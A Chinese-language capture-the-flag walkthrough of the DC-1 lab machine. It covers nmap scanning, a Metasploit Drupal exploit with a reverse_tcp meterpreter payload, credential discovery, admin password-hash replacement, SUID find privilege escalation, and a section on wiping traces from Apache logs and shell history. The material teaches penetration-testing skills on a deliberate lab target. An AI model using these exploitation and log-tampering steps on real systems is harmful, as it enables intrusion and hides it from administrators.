【DC系列打穿靶机】DC-1全详解
声明:该笔记为up主 泷羽的课程笔记,本节链接指路。
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。
初步探测
拿到DC1靶机打开之后进入登陆页面,如下:

因此我们可以先用kali扫描网段,查看靶机的ip,这里靶机需要调整为nat模式。
nmap -sn 192.168.216.0/24

可得到dc1的IP地址为:192.168.216.133
nmap -A -p- 192.168.216.133
-A:使用高级功能进行扫描,即全面扫描;
-p-:扫描端口号1-65535,与-p 1-65535相同意思

可以看到主机的端口有以上是开放的。
因此我们可以进入物理机的ip地址:80端口,进入登陆页面:

尝试sql注入:
没有sql语句报错,因此应该可以尝试sql注入。

他的用户注册还需要发邮件,所以下面从系统漏洞角度看看。
漏洞探测
我们可以使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息。

同样,我们也可以直接使用firefox上的插件查看:

通过火狐浏览器的Wappalyzer插件知道网站的CMS是Drupal 7,编程语言是PHP 5.4.45;
利用搜索引擎查找有关Drupal 7的漏洞:inurl:Drupal 7漏洞
美少妇探测
我们打开msf扫描:
msfconsole
search drupal

显示payloads,发现都是都是反弹和正向连接的,没有我们需要的。

我们使用第二个,显示payloads,可以看到php这类可以用于利用的:
use 1
show payloads

- 正向连接:在msf中通常是指,bind_tcp,定义–攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听。
设置正向连接:set payload payload/php/meterpreter/bind_tcp
- 反向连接:在msf中通常是指,reverse_tcp,定义–更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。
设置反弹shell:set payload payload/php/meterpreter/reverse_tcp
主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中,外网靶机访问不了内网中的攻击机,反向连接需要两个机器都需要能互相ping。
这里用反向连接成功。

后渗透
我们可以修改一下显示方式,可以看到输入的名字。
/usr/bin/python -c "import pty; pty.spawn('/bin/bash')"

这里我们就可以获取shell了。

我们看到了flag1,读取:

他说我应该去找cms文件,因此采用模糊搜索,一般linux都是以settingxxx保存的,因此:

我们在flag2获得了以下的凭证:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
因此我们可以拿到了数据库的账密,进行登录。

这里我们直接看有什么数据库,并且找到drupaldb中的user表。
查看users数据,加上\G可以更好看:

上网查了一下,发现这串加密符号:
字符串 S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR 看起来是 Drupal 7 或 Drupal 8 的密码哈希。Drupal 使用了一个基于 PHP 的密码哈希算法来加密用户密码,这种哈希通常以 S S S 开头,后面跟着加密后的密码字符串。
反正涉及到了哈希加密,我们上模糊查询:

因此我们得到他生成密码的逻辑为:一个或多个被双引号闭合,输出的哈希值可以手动输入到{users}中。pass值可以用sql更改。
www-data@DC-1:/var/www$ ./scripts/password-hash.sh admin123
password: admin123 hash: $S$D2vQpjVxadksQEaL1QkN2phHVkNNOPwg65gT8/89caSOJtRnDTsB
因此我们可以构造得到自己的密码,去mysql中更改。

返回网页登陆成功:

在这获得了flag3:

他说到:
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
因此我们可以去找找passwd文件。
直接找/etc/passwd,可以看到:

这里查看权限,发现是只能root,因此提权:
find / -perm -u=s -type f 2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
find / -exec "/bin/bash" -p \;

于是找到最后一个flag。
痕迹清除
中间件日志清除
对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
bash-4.2# find / -name 'access*'

查看文件内容,并将自己ip的记录删除:
sed -i '/192.168.216.1/d' /var/log/apache2/access.log
-i选项表示直接修改文件。/d这里表示清除216段下的所有ip地址日志
还要清除error错误日志的记录:
查找:find / -name 'error*'
删除: sed -i '/192.168.216.1/d' /var/log/apache2/error.log
密码还原
把别人密码改了还不改不回去那不是等着别人发现吗。
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";
清除数据库日志
我们可以查看数据,但是没有权限,所以查找这些文件:
show variables like '%log%';

general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。
- 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。
- 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。
慢查询日志slow_query_log看图也是关闭的。
- 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。
- 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。
这里没有这个两个文件的痕迹,可以跳过。
历史命令
history -c
直接清除历史命令。
登录日志
这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
nmap扫描日志
nmap扫描时,如果你指定了输出文件(例如使用-ON选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。
cd到tmp下:cd /tmp
find . -name 'nmap'
find . -name '*nmap*'
删除记录:history -c

725

被折叠的 条评论
为什么被折叠?



